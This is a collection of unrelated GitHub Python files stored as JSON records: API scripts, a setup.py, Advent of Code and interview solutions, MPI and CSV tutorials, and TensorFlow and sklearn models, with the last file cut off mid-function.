{"seq_id":"39300443685","text":"#!/usr/bin/env python3\n\n\nimport tweepy\nimport json\nimport sys\n\n\nfrom keys import consumer_key, consumer_secret\n\n\nif __name__ == '__main__':\n    users = json.loads(input())[1]\n    users = dict((int(key), users[key]) for key in users.keys())\n\n    auth = tweepy.OAuthHandler(consumer_key, consumer_secret)\n    api = tweepy.API(auth, wait_on_rate_limit=True)\n\n    followings = dict()\n    for user_id in users.keys():\n        try:\n            print(users[user_id], end=\" \", file=sys.stderr)\n            followings[user_id] = api.get_user(user_id).friends_count\n            print(followings[user_id], file=sys.stderr)\n        except Exception as ex:\n            print(ex, file=sys.stderr)\n\n    print(json.dumps((users, followings)))\n","repo_name":"hadisfr/twitter-followings-clustering","sub_path":"following_counter.py","file_name":"following_counter.py","file_ext":"py","file_size_in_byte":727,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"3989295039","text":"from setuptools import setup, find_packages\nfrom os import path, getenv\n\n\ndef get_requirements(requirements_filename: str):\n    requirements_file = path.join(path.abspath(path.dirname(__file__)), \"requirements\", requirements_filename)\n    with open(requirements_file, 'r', encoding='utf-8') as r:\n        requirements = r.readlines()\n    requirements = [r.strip() for r in requirements if r.strip() and not r.strip().startswith(\"#\")]\n\n    for i in range(0, len(requirements)):\n        r = requirements[i]\n        if \"@\" in r:\n            parts = [p.lower() if p.strip().startswith(\"git+http\") else p for p in r.split('@')]\n            r = \"@\".join(parts)\n            if getenv(\"GITHUB_TOKEN\"):\n                if \"github.com\" in r:\n                    r = r.replace(\"github.com\", f\"{getenv('GITHUB_TOKEN')}@github.com\")\n            requirements[i] = r\n    return requirements\n\n\nwith open(\"README.md\", \"r\") as f:\n    long_description = f.read()\n\nwith open(\"./version.py\", \"r\", encoding=\"utf-8\") as v:\n    for line in v.readlines():\n        if line.startswith(\"__version__\"):\n            if '\"' in line:\n                version = line.split('\"')[1]\n            else:\n                version = line.split(\"'\")[1]\n\nsetup(\n    name='ukrainian-accentor-transformer',\n    version=version,\n    description='Adds word stress for texts in Ukrainian',\n    long_description=long_description,\n    long_description_content_type='text/markdown',\n    url='https://github.com/Theodotus1243/ukrainian-accentor-transformer',\n    author='Theodotus1243',\n    license='MIT',\n    packages=find_packages(),\n    install_requires=get_requirements(\"requirements.txt\"),\n    zip_safe=True,\n    keywords='ukrainian accent stress nlp transformer linguistics',\n)\n","repo_name":"Theodotus1243/ukrainian-accentor-transformer","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1731,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"38"}
{"seq_id":"532142164","text":"import torch.nn as nn\nimport torchquantum as tq\nimport torchquantum.functional as tqf\nimport numpy as np\n\nfrom typing import Iterable\nfrom torchquantum.plugins.qiskit_macros import QISKIT_INCOMPATIBLE_FUNC_NAMES\nfrom torchpack.utils.logging import logger\nfrom torchquantum.vqe_utils import parse_hamiltonian_file\n\n\n__all__ = [\"Hamiltonian\"]\n\nclass Hamiltonian(object):\n    def __init__(self, hamil_info) -> None:\n        self.hamil_info = self.process_hamil_info(hamil_info)\n        self.n_wires = hamil_info[\"n_wires\"]\n\n    def process_hamil_info(self, hamil_info):\n        hamil_list = hamil_info[\"hamil_list\"]\n        n_wires = hamil_info[\"n_wires\"]\n        all_info = []\n\n        for hamil in hamil_list:\n            pauli_string = \"\"\n            for i in range(n_wires):\n                if i in hamil[\"wires\"]:\n                    wire = hamil[\"wires\"].index(i)\n                    pauli_string += hamil[\"observables\"][wire].upper()\n                else:\n                    pauli_string += \"I\"\n            all_info.append({\"pauli_string\": pauli_string, \"coeff\": hamil[\"coefficient\"]})\n        hamil_info[\"hamil_list\"] = all_info\n        return hamil_info\n\n    @classmethod\n    def from_file(cls, file_path):\n        hamil_info = parse_hamiltonian_file(file_path)\n        return cls(hamil_info)\n    ","repo_name":"hitech777/torchquantum","sub_path":"torchquantum/algorithms/hamiltonian.py","file_name":"hamiltonian.py","file_ext":"py","file_size_in_byte":1304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"38"}
{"seq_id":"28776485652","text":"file=open(\"day22.data\",'r')\n\nx = 0\ny = 0\n\ngrid2 = {}\n\nwith open('day22.data') as file:\n    for line in file.readlines():\n        x = 0\n        for c in line.strip():\n            print('x: {} y: {} -> {}'.format(x,y,c))\n\n            if c == '#':\n                if y not in grid2:\n                    grid2[y] = {}\n\n                (grid2[y])[x] = '#'\n            x += 1\n        y -= 1\n\n\n\ndef print_grid(g, c):\n    # get dimensions\n    y_min = min(min(g), c[1])\n    y_max = max(max(g), c[1])\n\n    x_min = c[0]\n    x_max = c[0]\n\n    print('GRID')\n    print(g)\n    for y in g:\n        print(g[y])\n        x_min = min(x_min, min(g[y]))\n        x_max = max(x_max, max(g[y]))\n\n    print('Dimensions: x:[{}; {}]  y:[{}; {}]'.format(x_min, x_max, y_min, y_max))\n    print('Carrier: x: {} y: {} dir: {}'.format(c[0], c[1], c[2]))\n\n    for y in range(y_max, y_min-1, -1):\n        line = ''\n        for x in range(x_min, x_max+1):\n            if y == c[1] and x == c[0]:\n                line += '['\n            else:\n                line += ' '\n\n\n            if y in g and x in g[y]:\n                line += '{}'.format(g[y][x])  #'#'\n            else:\n                line += '.'\n\n            if y == c[1] and x == c[0]:\n                line += ']'\n            else:\n                line += ' '\n\n\n        print(line)\n\n\ndef carrier_step(g, c, infect):\n\n    if c[1] in g and c[0] in g[c[1]]:\n\n        if g[c[1]][c[0]] == 'W':\n            # weakened: do nothing\n            c[2] = c[2]\n\n        if g[c[1]][c[0]] == '#':\n            # infected: turn right\n            c[2] = (c[2] + 3) % 4\n\n        if g[c[1]][c[0]] == 'F':\n            # flagged: turn around\n            c[2] = (c[2] + 2) % 4\n    else:\n        # clean: move left, i.e. increase direction\n        c[2] =  (c[2] + 1) % 4\n\n    # if node in infected it becomes clean, otherwise it gets infected\n    if c[1] in g and c[0] in g[c[1]]:\n        if (g[c[1]])[c[0]] == 'W':\n            infect[0] += 1\n            (g[c[1]])[c[0]] = '#'\n        elif (g[c[1]])[c[0]] == '#':\n            (g[c[1]])[c[0]] = 'F'\n        elif (g[c[1]])[c[0]] == 'F':\n            del((g[c[1]])[c[0]])\n    else:\n        if c[1] not in g:\n            g[c[1]] = {}\n\n        (g[c[1]])[c[0]] = 'W'\n\n    # move scanner into facing direction\n    # 0 - up\n    # 1 - left\n    # 2 - down\n    # 3 - right\n\n    if c[2] == 0:\n        # move up\n        c[1] += 1\n\n    if c[2] == 1:\n        # move left\n        c[0] -= 1\n\n    if c[2] == 2:\n        # move down\n        c[1] -= 1\n\n    if c[2] == 3:\n        # move right\n        c[0] += 1\n\n\n\n# this is a 25x25 grid so the center is 13/13, i.e. 12/12 with 0-based indexing\ncarrier = list((12,-12,0))\n#carrier = list((1,-1,0))\n\n\nprint_grid(grid2, carrier)\n\n\nprint('Starting walk')\ninfections = [0]\nfor i in range(10000000):\n    carrier_step(grid2, carrier, infections)\n\nprint_grid(grid2, carrier)\n\nprint('There are {} Infections after {} bursts'.format(infections, i+1))\n","repo_name":"litist/aoc2017","sub_path":"day22_2.py","file_name":"day22_2.py","file_ext":"py","file_size_in_byte":2919,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"37532823072","text":"import requests\r\nfrom tocsi import TOKEN\r\n\r\n\r\nbase_url='https://akabab.github.io/superhero-api/api/all.json'\r\n\r\nsuperhero_list=['Hulk','Captain America', 'Thanos']\r\n\r\nsupher={}\r\nresponse=requests.get(base_url)\r\nresponse=response.json()\r\nfor s in response:\r\n    for hero in superhero_list:\r\n        if hero in s[\"name\"]:\r\n            supher[hero]=s[\"powerstats\"][\"intelligence\"]\r\n\r\nmax_iq=max(supher.values())\r\nfor name,iq in supher.items():\r\n    if max_iq == iq:\r\n        print(name)\r\n\r\n\r\n\r\n\r\n\r\n\r\nclass YaUploader:\r\n    def __init__(self, token: str):\r\n        self.token = token\r\n    \r\n    def get_headers(self):\r\n        return {\r\n            'Content-Type':'application/json',\r\n            'Authorization':f'OAuth {self.token}'\r\n        }\r\n    def upload(self, path: str):\r\n        self.base_host='https://cloud-api.yandex.net/'\r\n        uri = 'v1/disk/resources/upload/'\r\n        request_url=self.base_host+uri\r\n        params={'path':'GOTY.py','overwrite':True}\r\n        resp = requests.get(request_url, headers=self.get_headers(), params=params).json()\r\n        print(resp)\r\n        response=requests.put(url=resp['href'],data=open(path,'rb'),headers=self.get_headers())\r\n        if response.status_code==201:\r\n            print(\"загрузка прошла успешно\")\r\n\r\n\r\nif __name__ == '__main__':\r\n    full_path=r'B:\\Netology\\GIt PYHW\\GOTY.py'\r\n    token=TOKEN\r\n    uploader=YaUploader(token)\r\n    uploader.upload(full_path)\r\n\r\n","repo_name":"sangreguerrer/files.hw","sub_path":"requests-hw.py","file_name":"requests-hw.py","file_ext":"py","file_size_in_byte":1446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"10514048750","text":"from mpi4py import MPI\nimport numpy as np\n\ncomm = MPI.COMM_WORLD\nrank = comm.Get_rank()\nsize = comm.Get_size()\n\n#https://www.sharcnet.ca/help/images/4/4b/Python_mpi_gis.pdf\n\ndef trapezoidal(f, a, b, n, h):\n    #h = (b-a)/float(n)\n    s = 0.5*(f(a) + f(b))\n    for i in range(1,n,1):\n        s = s + f(a + i*h)\n    return h*s\n\ndef func(x):\n    return 1/(np.sqrt(1 + x**2))\n\ndef Get_data(rank, size, comm):\n    a=None\n    b=None\n    n=None\n    if rank == 0:\n        a = 5\n        b = 7\n        n = 10000\n        \n    a=comm.bcast(a)\n    b=comm.bcast(b)\n    n=comm.bcast(n)\n    return a,b,n\n\na,b,n = Get_data(rank, size, comm) # process 0 will read data\nh = (b-a)/n # h is the same for all processes\nlocal_n = int(n/size) # So is the number of trapezoids\n\nprint('local_n:', local_n)\n\n\nlocal_a = a + rank*local_n*h\nlocal_b = local_a + local_n*h\nintegral = trapezoidal(func, local_a, local_b, local_n, h)\n\n# Add up the integrals calculated by each process\ntotal=comm.reduce(integral)\n\nif (rank == 0):\n    print(\"With n=\",n,\", trapezoids, \")\n    print(\"integral from\",a,\"to\",b,\"=\",total)\n\nMPI.Finalize","repo_name":"annshorn/Skoltech","sub_path":"HPC/integral.py","file_name":"integral.py","file_ext":"py","file_size_in_byte":1095,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"38"}
{"seq_id":"24990437147","text":"class Solution:\n    # @param A : integer\n    # @return a list of strings\n    def solve(self, n, open_, s):\n        if len(s) == 2*n:\n            self.ans.append(s)\n            return\n        if open_ != n:\n            self.solve(n, open_ + 1, s + '(')\n        if len(s) < 2 * open_:\n            self.solve(n, open_, s + ')')\n            \n    def generateParenthesis(self, A):\n        self.ans = []\n        self.solve(A, 0, '')\n        return self.ans","repo_name":"sainihimanshu1999/Interview-Bit","sub_path":"LEVEL 5/Backtracking/geneateparanthesis2.py","file_name":"geneateparanthesis2.py","file_ext":"py","file_size_in_byte":450,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"29788471718","text":"# -*- mode: python -*- -*- coding: utf-8 -*-\nimport os\nfrom dotenv import load_dotenv\n\nload_dotenv()\n\n\ndef greetings(name=None):\n    if not name:\n        name = os.getenv('NAME', 'John')\n    return f'Hello {name}'\n\n\nif __name__ == \"__main__\":\n    print(greetings())\n","repo_name":"higebobo/simple-cicd","sub_path":"app/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":266,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"14155695586","text":"\"\"\"\r\nLendo arquivos csv\r\n\r\nCSV - comma separated values - valores separados por virgula\r\n\r\nex:\r\n1, 2, 3, 4, 5\r\n'a', 'b', 'c', 'd', 'e'\r\nobs: o separador também pode ser ';', espaço\r\n\r\nhttp://dados.gov.br/dataset\r\n\r\nA linguagem Python possui duas formas diferentes para ler dados em arquivos CSV:\r\n  - reader -> Permite que iteremos sobre as linhas do arquivo CSV como listas.\r\n  - DictReader -> Permite que iteremos sobre as linhas do arquivo CSV como OrderedDicts.\r\n\r\n\"\"\"\r\n\r\n# Possível de se trabalhar, mas não é o ideal (trabalhoso)\r\nwith open('file099_lutadores.csv', encoding='utf-8') as arquivo1:\r\n    dados = arquivo1.read()\r\n    #print(type(dados))\r\n    dados = dados.split(',')[2:]  # a partir do 2\r\n    #dados = dados.split('\\n')[1:]\r\n    print(dados)\r\n\r\nprint('1---------------------')\r\n# Reader\r\n\r\nfrom csv import reader\r\n\r\nwith open('file099_lutadores.csv', encoding='utf-8') as arquivo2:\r\n    leitor_csv = reader(arquivo2)\r\n    #print(list(leitor_csv))\r\n    print(type(leitor_csv))\r\n    next(leitor_csv)  # pula o cabeçalho\r\n    for linha in leitor_csv:\r\n        # Cada linha é uma lista\r\n        print(f'{linha[0]} nasceu em {linha[1]} e mede {linha[2]} centimetros')\r\n\r\nprint('2---------------------')\r\n# DictReader\r\n\r\nfrom csv import DictReader\r\n\r\nwith open('file099_lutadores.csv', encoding='utf-8') as arquivo3:\r\n    leitor_csv = DictReader(arquivo3)\r\n    #print(list(leitor_csv))\r\n    for linha in leitor_csv:\r\n        # Cada linha é um OrderedDict\r\n        print(f\"{linha['Nome']} nasceu no(a)(s) {linha['País']} e mede {linha['Altura']}\")\r\n\r\nprint('3---------------------')\r\n\r\nwith open('file099_lutadores.csv', encoding='utf-8') as arquivo4:\r\n    leitor_csv = DictReader(arquivo4, delimiter=',')  # separador -> ','\r\n\r\n    for linha in leitor_csv:\r\n        # Cada linha é um OrderedDict\r\n        print(f\"{linha['Nome']} nasceu no(a)(s) {linha['País']} e mede {linha['Altura']}\")\r\n\r\nprint('4---------------------')\r\n","repo_name":"codingscode/curso_python","sub_path":"Work001/file099_lendo_csv.py","file_name":"file099_lendo_csv.py","file_ext":"py","file_size_in_byte":1948,"program_lang":"python","lang":"pt","doc_type":"code","stars":3,"dataset":"github-code","pt":"38"}
{"seq_id":"74775984431","text":"import os\nimport time\nimport random\n\nimport cv2 as cv\nimport numpy as np\nimport tensorflow as tf\n\nfrom cifar_data_load import get_training_dataset, get_test_dataset\nfrom common import get_onehot_label\n\ndef AlexNet(input, p=0.5):\n    # 定义卷积层conv1\n    with tf.name_scope('conv1'):\n        # 第一层卷积层 filter 64 3 11 11 步长4\n        conv1_kernel = tf.Variable(tf.truncated_normal([11, 11, 3, 64], dtype=tf.float32,\n                                   stddev=1e-1, name='weights'))\n        conv1 = tf.nn.conv2d(input, conv1_kernel, [1, 4, 4, 1], padding='SAME')\n        conv1_biases = tf.Variable(tf.constant(0.0, dtype=tf.float32, shape=[64]),\n                                               trainable=True, name='biases')\n        conv1_bias = tf.nn.bias_add(conv1, conv1_biases)\n        conv1 = tf.nn.relu(conv1_bias, name='conv1')\n\n        # local response normalization LRN局部响应归一化\n        lrn1 = tf.nn.lrn(conv1, 4, bias=1.0, alpha=0.001 / 9, beta=0.75, name='lrn1')\n        # 最大池化层 filter 3 3 步长2\n        pool1 = tf.nn.max_pool(lrn1, ksize=[1, 3, 3, 1], strides=[1, 2, 2, 1],\n                               padding='VALID', name='pool1')\n\n    # 定义卷积层conv2\n    with tf.name_scope('conv2'):\n        # 第二层卷积层 filter 192 64 5 5 步长1\n        conv2_kernel = tf.Variable(tf.truncated_normal([5, 5, 64, 192], dtype=tf.float32,\n                                   stddev=1e-1, name='weights'))\n        conv2 = tf.nn.conv2d(pool1, conv2_kernel, [1, 1, 1, 1], padding='SAME')\n        conv2_biases = tf.Variable(tf.constant(0.0, dtype=tf.float32, shape=[192]),\n                                   trainable=True, name='biases')\n        conv2_bias = tf.nn.bias_add(conv2, conv2_biases)\n        conv2 = tf.nn.relu(conv2_bias, name='conv2')\n\n        # local response normalization LRN局部响应归一化\n        lrn2 = tf.nn.lrn(conv2, 4, bias=1.0, alpha=0.001 / 9, beta=0.75, name='lrn2')\n        # 最大池化层 filter 3 3 步长2\n        pool2 = tf.nn.max_pool(lrn2, ksize=[1, 3, 3, 1], strides=[1, 2, 2, 1],\n                               padding='VALID', name='pool2')\n\n    # 定义卷积层conv3\n    with tf.name_scope('conv3'):\n        # 第二层卷积层 filter 384 192 3 3 步长1\n        conv3_kernel = tf.Variable(tf.truncated_normal([3, 3, 192, 384], dtype=tf.float32,\n                                   stddev=1e-1, name='weights'))\n        conv3 = tf.nn.conv2d(pool2, conv3_kernel, [1, 1, 1, 1], padding='SAME')\n        conv3_biases = tf.Variable(tf.constant(0.0, dtype=tf.float32, shape=[384]),\n                                               trainable=True, name='biases')\n        conv3_bias = tf.nn.bias_add(conv3, conv3_biases)\n        conv3 = tf.nn.relu(conv3_bias, name='conv3')\n\n    # 定义卷积层conv4\n    with tf.name_scope('conv4'):\n        # 第二层卷积层 filter 256 384 3 3 步长1\n        conv4_kernel = tf.Variable(tf.truncated_normal([3, 3, 384, 256], dtype=tf.float32,\n                                   stddev=1e-1, name='weights'))\n        conv4 = tf.nn.conv2d(conv3, conv4_kernel, [1, 1, 1, 1], padding='SAME')\n        conv4_biases = tf.Variable(tf.constant(0.0, dtype=tf.float32, shape=[256]),\n                                   trainable=True, name='biases')\n        conv4_bias = tf.nn.bias_add(conv4, conv4_biases)\n        conv4 = tf.nn.relu(conv4_bias, name='conv4')\n\n    # 定义卷积层conv5\n    with tf.name_scope('conv5'):\n        # 第二层卷积层 filter 256 256 3 3 步长1\n        conv5_kernel = tf.Variable(tf.truncated_normal([3, 3, 256, 256], dtype=tf.float32,\n                                   stddev=1e-1, name='weights'))\n        conv5 = tf.nn.conv2d(conv4, conv5_kernel, [1, 1, 1, 1], padding='SAME')\n        conv5_biases = tf.Variable(tf.constant(0.0, dtype=tf.float32, shape=[256]),\n                                         trainable=True, name='biases')\n        conv5_bias = tf.nn.bias_add(conv5, conv5_biases)\n        conv5 = tf.nn.relu(conv5_bias, name='conv5')\n\n        # 最大池化层 filter 3 3 步长2\n        pool5 = tf.nn.max_pool(conv5, ksize=[1, 3, 3, 1], strides=[1, 2, 2, 1],\n                               padding='VALID', name='pool5')\n\n        # 把值展开 reshape送入全连接层\n        flatten = tf.reshape(pool5, [-1, 6*6*256])\n\n    # 定义全连接层dense1\n    with tf.name_scope('dense1'):\n        # 输入9216 输出4096\n        fc1_weights = tf.Variable(tf.truncated_normal([6*6*256, 4096], mean=0, stddev=0.01))\n        fc1_biases = tf.Variable(tf.constant(0.0, shape=[1024], dtype=tf.float32),\n                                 trainable=True, name='biases')\n        fc1 = tf.nn.sigmoid(tf.matmul(flatten, fc1_weights) + fc1_biases, name='dense1')\n        dense1 = tf.nn.dropout(fc1, p)\n\n    # 定义全连接层dense2\n    with tf.name_scope('dense2'):\n        # 输入4096 输出4096\n        fc2_weights = tf.Variable(tf.truncated_normal([4096, 4096], mean=0, stddev=0.01))\n        fc2_biases = tf.Variable(tf.constant(0.0, shape=[1024], dtype=tf.float32),\n                                 trainable=True, name='biases')\n        fc2 = tf.nn.sigmoid(tf.matmul(dense1, fc2_weights) + fc2_biases, name='dense2')\n        dense2 = tf.nn.dropout(fc2, p)\n\n    # 定义全连接层dense3\n    with tf.name_scope('output'):\n        # 输入4096 输出10\n        fc3_weights = tf.Variable(tf.truncated_normal([4096, 10], mean=0, stddev=0.01))\n        fc3_biases = tf.Variable(tf.constant(0.0, shape=[10], dtype=tf.float32),\n                                 trainable=True, name='biases')\n        dense3 = tf.matmul(dense2, fc3_weights) + fc3_biases\n\n    return dense3\n\n# 训练\ndef train():\n    # 加载训练集\n    train_sample, train_label = get_training_dataset()\n\n    # 定义tf占位符 输入输出格式\n    x = tf.placeholder(dtype=tf.float32, shape=[None, 224, 224 ,3], name='x')\n    y = tf.placeholder(dtype=tf.float32, shape=[None, 10], name='y')\n\n    # 建立网络\n    output = AlexNet(x, 0.5)\n    # 定义训练的loss函数 得到一个batch的平均值\n    loss = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(logits=output, labels=y))\n    # 定义优化器\n    optimizer = tf.train.GradientDescentOptimizer(learning_rate=0.09).minimize(loss)\n    # 定义准确率\n    val_acc = tf.reduce_mean(tf.cast(tf.equal(tf.argmax(output, 1), tf.argmax(y, 1)), tf.float32))\n\n    # saver持久化 保存模型\n    saver = tf.train.Saver()\n    init = tf.global_variables_initializer()\n    epochs = 40\n    with tf.Session() as session:\n        # 编译 静态图\n        session.run(init)\n\n        # 加载模型\n        model = tf.train.get_checkpoint_state(\"./model/alexnet\")\n        if model and model.model_checkpoint_path:\n            # saver.restore(session, model.model_checkpoint_path)\n            print('Successfully Load AlexNet Model!')\n\n        for epoch in range(epochs):\n            begin = time.time()\n            # 生成并打乱训练集的顺序\n            index = np.arange(50000)\n            random.shuffle(index)\n\n            # batch size为200 训练集前40000训练 后10000验证\n            for i in range(0, 0+40000, 200):\n                train_batch_sample = list()\n                train_batch_label = list()\n                for j in range(0, 200):\n                    # train_batch_sample.append(train_sample[index[i + j]] / 255)\n                    train_batch_sample.append(cv.resize(train_sample[index[i + j]], (224, 224)) / 255)\n                    train_batch_label.append(train_label[index[i + j]])\n                train_batch_label = get_onehot_label(train_batch_label, class_num=10)\n                # 训练\n                a, b = session.run([optimizer, loss], feed_dict={\n                    x: train_batch_sample,\n                    y: train_batch_label,\n                })\n                print('train loss: ', b)\n\n            acc = 0\n            for i in range(40000, 40000+10000, 200):\n                val_batch_sample = list()\n                val_batch_label = list()\n                for j in range(0, 200):\n                    # val_batch_sample.append(train_sample[index[i + j]].astype(np.uint8) / 225)\n                    val_batch_sample.append(cv.resize(train_sample[index[i + j]].astype(np.uint8), (224, 224)) / 255)\n                    val_batch_label.append(train_label[index[i + j]])\n                val_batch_label = get_onehot_label(val_batch_label, class_num=10)\n                acc += session.run(val_acc, feed_dict={\n                    x: val_batch_sample,\n                    y: val_batch_label\n                })\n            # 输出 一共50次验证数据相加\n            print('====================Epoch {}: validation acc: {}, spend time: {}s==================='.format(epoch + 1, acc / 50, time.time() - begin))\n            # 每训练5epoch 保存模型\n            if (epoch + 1) % 5 == 0:\n                pass\n                # 保存模型\n                saver.save(session, \"model/alexnet/alexnet.ckpt\")\n\n        # 保存模型\n        saver.save(session, \"model/alexnet/alexnet.ckpt\")\n\ndef test():\n    # 加载训练集\n    test_sample, test_label = get_test_dataset()\n\n    # 定义tf占位符 输入输出格式\n    x = tf.placeholder(dtype=tf.float32, shape=[None, 224, 224 ,3], name='x')\n    y = tf.placeholder(dtype=tf.float32, shape=[None, 10], name='y')\n\n    # 建立网络\n    output = AlexNet(x, 0.5)\n    # 预测\n    predict_output = tf.argmax(output, 1)\n    ground_truth = tf.argmax(y, 1)\n\n    # 定义准确率\n    val_acc = tf.reduce_mean(tf.cast(tf.equal(predict_output, ground_truth), tf.float32))\n    acc = 0\n    # saver持久化 保存模型\n    saver = tf.train.Saver()\n\n    with tf.Session() as session:\n        # 加载模型\n        saver.restore(session, 'model/alexnet/alexnet.ckpt')\n\n        for i in range(0, 10000, 200):\n            test_batch_sample = list()\n            test_batch_label = list()\n            for j in range(200):\n                test_batch_sample.append(cv.resize(test_sample[i + j], (224, 224)) / 255)\n                test_batch_label.append(test_label[i + j])\n            test_batch_label = get_onehot_label(test_batch_label, class_num=10)\n            a, b = session.run([predict_output, ground_truth], feed_dict={\n                x: test_batch_sample,\n                y: test_batch_label\n            })\n            for k in range(200):\n                if a[k] == b[k]:\n                    acc += 1\n        print('test acc is {}%'.format(acc / 10000 * 100))\n\n        class_list = ['airplane', 'automobile', 'bird', 'cat', 'deer',\n                      'dog', 'frog', 'horse', 'ship', 'truck']\n        image_path = os.getcwd() + \"/../DL_HotNet_Tensorflow/net/\"\n        for i in range(1, 11):\n            name = image_path + str(i) + '.jpg'\n            img = cv.imread(name)\n            img = cv.resize(img, (32, 32))\n            img = cv.resize(img, (224, 224)) / 255\n            img = np.array([img])\n            predict = session.run(predict_output, feed_dict={x: img})\n            print('{} image detect result is : {}'.format(class_list[i - 1], class_list[predict[0]]))\n\nif __name__ == '__main__':\n    os.chdir('/home/yipeng/workspace/python/tensorflow_samples')\n    train()\n    # test()","repo_name":"ashen7/tensorflow","sub_path":"AlexNet.py","file_name":"AlexNet.py","file_ext":"py","file_size_in_byte":11176,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"}
{"seq_id":"12646091701","text":"# winequality-white.csv \r\n# RandomForest로 모델 만들기\r\n# 분류모델인듯\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom sklearn.datasets import load_wine\r\nfrom sklearn.preprocessing import StandardScaler, MinMaxScaler, RobustScaler\r\n\r\nfrom sklearn.svm import LinearSVC, SVC\r\nfrom sklearn.neighbors import KNeighborsClassifier, KNeighborsRegressor\r\nfrom sklearn.ensemble import RandomForestClassifier, RandomForestRegressor\r\nfrom sklearn.metrics import accuracy_score\r\n\r\n\r\n\r\n\r\n# 1. data\r\ndataset = pd.read_csv(\"./data/csv/winequality-white.csv\",header=0,index_col=None,sep=\";\")\r\n\r\nprint(dataset)\r\nprint(dataset.shape)\r\n\r\ndatasets = pd.DataFrame(dataset)\r\ndatasets = datasets.values\r\nprint(dataset.shape)\r\nprint(type(datasets))\r\nx = datasets[:,:11]\r\ny = datasets[:,11:]\r\nprint(x.shape)\r\nprint(y.shape)\r\nprint(x)\r\nprint(y)\r\n\r\n\r\nfrom sklearn.model_selection import train_test_split\r\nx_train, x_test , y_train  , y_test = train_test_split(x, y, train_size=0.8, random_state=1,shuffle=True)\r\n\r\nscaler = StandardScaler()\r\nscaler.fit(x_train)\r\nx_train = scaler.transform(x_train)\r\nx_test = scaler.transform(x_test)\r\n# x_train = scaler.transform(x_train).astype(\"float\")\r\n# x_test = scaler.transform(x_test).astype(\"float\")\r\n# y_train = y_train.astype(\"float\")\r\n# y_test = y_test.astype(\"float\")\r\n\r\n# 2. 모델\r\n# model = LinearSVC()\r\n# model = SVC()\r\n# model = KNeighborsClassifier()\r\n# model = RandomForestClassifier()\r\n# model = KNeighborsRegressor()\r\nmodel = RandomForestRegressor()\r\n\r\n# 3. 훈련\r\nmodel.fit(x_train,y_train)\r\nx_pred = x_test[:10]\r\ny_real = y_test[:10]\r\n\r\n# 4. 평가 예측\r\ny_predict = model.predict(x_pred)\r\nprint(\"y_real :  \",y_real)\r\nprint(\"predict : \",y_predict)\r\n\r\nmodel_score = model.score(x_test,y_test)\r\nprint(\"model_score : \",model_score)\r\n\r\nacc_score = accuracy_score(y_real,y_predict.round())\r\nprint(\"acc_score :   \",acc_score)\r\n# 분류 => accuracy_score\r\n# 회귀 => r2_score\r\n\r\n# R2\r\n# from sklearn.metrics import r2_score\r\n# print(\"R2 : \",r2_score(y_real,y_predict))\r\n\r\n# ==== 분류\r\n\r\n# LinearSVC\r\n# model_score :  0.5265306122448979\r\n# acc_score :    0.2\r\n\r\n# SVC\r\n# model_score :  0.5561224489795918\r\n# acc_score :    0.3\r\n\r\n# KNeighborsClassifier\r\n# model_score :  0.5571428571428572\r\n# acc_score :    0.2\r\n\r\n# RandomForestClassifier\r\n# model_score :  0.6836734693877551\r\n# acc_score :    0.4\r\n\r\n# ==== 회귀\r\n\r\n# KNeighborsRegressor\r\n# model_score :  0.35631420985015383\r\n# acc_score :    0.2\r\n\r\n# RandomForestRegressor\r\n# model_score :  0.5219016183504787\r\n# acc_score :    0.4\r\n\r\n\r\n","repo_name":"GODKIMCHI142/bit_seoul","sub_path":"Study/ml/ml10_wine2_1_1123.py","file_name":"ml10_wine2_1_1123.py","file_ext":"py","file_size_in_byte":2532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"26765721565","text":"\nfrom _data_preprocess2 import DataPrep\n\nfrom sklearn.model_selection import train_test_split\nfrom sklearn import metrics\nimport datetime\nimport lightgbm as lgb\n\n\nclass Model(object):\n\n    def __init__(self, db=None):\n        self.db = db\n        self.data_pre = DataPrep(db=self.db)\n\n    def get_label(self, data):\n        data['post1'] = data.sort_values('trade_date').groupby('ts_code')['daily-close-0'].shift(1)\n        data['post3'] = data.sort_values('trade_date').groupby('ts_code')['daily-close-0'].shift(3)\n        data['post5'] = data.sort_values('trade_date').groupby('ts_code')['daily-close-0'].shift(5)\n        data['y1'] = data['post1'] / data['daily-close-0']\n        data['y2'] = data['post3'] / data['daily-close-0']\n        data['y3'] = data['post5'] / data['daily-close-0']\n\n        cp_col = ['ts_code']\n        data_col = ['trade_date']\n        y_cols = ['post1', 'post3', 'post5', 'y1', 'y2', 'y3']\n        ft_cols = list(set(data.columns.tolist()) - set(cp_col + data_col + y_cols))\n\n        return data\n\n    def get_train_data(self, start_date=None, end_date=None):\n        if (start_date is None) or (end_date is None):\n            tmp = datetime.datetime.now()\n            end_date = tmp.strftime('%Y%m%d')\n            start_date = (tmp-datetime.timedelta(days=30)).strftime('%Y%m%d')\n        data = self.data_pre.get_data(start_date=start_date, end_date=end_date)\n        data = self.get_label(data)\n\n        cp_col = ['ts_code']\n        data_col = ['trade_date']\n        y_cols = ['post1', 'post3', 'post5', 'y1', 'y2', 'y3']\n        ft_cols = list(set(data.columns.tolist()) - set(cp_col + data_col + y_cols))\n\n        tmp = data[~data['y1'].isna()]\n        X = tmp[ft_cols].to_numpy()\n        Y = (tmp['y1'] > 1.05).astype('int').to_numpy()\n\n        return X, Y\n\n    def get_predict_data(self):\n        date = datetime.date().strftime('%Y%m%d')\n        data = self.data_pre.get_data(date=date)\n\n        cp_col = ['ts_code']\n        data_col = ['trade_date']\n        y_cols = 